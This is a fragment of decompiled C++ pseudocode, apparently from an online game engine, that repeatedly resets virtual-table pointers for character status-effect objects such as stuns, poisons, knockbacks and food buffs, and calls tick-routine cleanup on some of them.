*)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_SPEED_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_SPEED_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_TB_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_TB_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_TH_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_TH_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_SP_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CHRTITLE_SP_RESTORE.astr_Tick); v1->asl_CHRTITLE_SP_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_SP_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_HP_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_CHRTITLE_HP_RESTORE.astr_Tick); v1->asl_CHRTITLE_HP_RESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_HP_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_HP_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_MR_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_MR_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_AC_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_AC_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_MA_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_MA_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_WC_DOWN_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHRTITLE_WC_UP_RATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDATKUPL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKRUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BODYFORCE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DOTDMGADDALL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANTIKNOCK.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHADOWBINDING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULFREE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_EVASIONDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DOTDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_USESPADD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLOODDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONDMGDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONDMGADD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RANGEEVASIONUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTFBURN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORTFBURN.astr_Tick); v1->asl_NORTFBURN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FITMOVEDOWN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FITBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FITBLOOD.astr_Tick); v1->asl_FITBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTHPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORTHPOISON.astr_Tick); v1->asl_NORTHPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RESTEXP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCONTROL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CANNOTCHANGETARGET.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FATALKNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKROLL.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACKFLY.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KNOCKBACK.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLOODFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SILBERKBLOODING.astr_Tick); v1->asl_SILBERKBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOTHEAL.astr_Tick); v1->asl_KARENDOTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKDASHSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROCKCANTHEAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENCAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENSTATIC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDIVINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KARENDOT.astr_Tick); v1->asl_KARENDOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElementNormal::_vftable_; v1->asl_GLDSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDMOVESPEEDUP.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_GLDRESTORE.astr_Tick); v1->asl_GLDRESTORE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ETHEREAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONFEAR01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_COMMONSTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANDISEASE.astr_Tick); v1->asl_KALBANDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KALBANPOISON.astr_Tick); v1->asl_KALBANPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURALENEMY.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAGENALBUF.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF7PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10P.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACAMSBUF10PMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SOLEFIRE.astr_Tick); v1->asl_SOLEFIRE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYBELLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_AGONYWINE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGSUB1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WEDDINGBUF.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PCSUB.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PCMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB15.astr_Tick); v1->asl_FOODTYPEB15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB14.astr_Tick); v1->asl_FOODTYPEB14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB13.astr_Tick); v1->asl_FOODTYPEB13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB12.astr_Tick); v1->asl_FOODTYPEB12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB11.astr_Tick); v1->asl_FOODTYPEB11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB10.astr_Tick); v1->asl_FOODTYPEB10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB09.astr_Tick); v1->asl_FOODTYPEB09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB08.astr_Tick); v1->asl_FOODTYPEB08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB07.astr_Tick); v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB06.astr_Tick); v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB05.astr_Tick); v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB04.astr_Tick); v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB03.astr_Tick); v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB02.astr_Tick); v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB01.astr_Tick); v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB00.astr_Tick); v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA15.astr_Tick); v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA14.astr_Tick); v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA13.astr_Tick); v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; 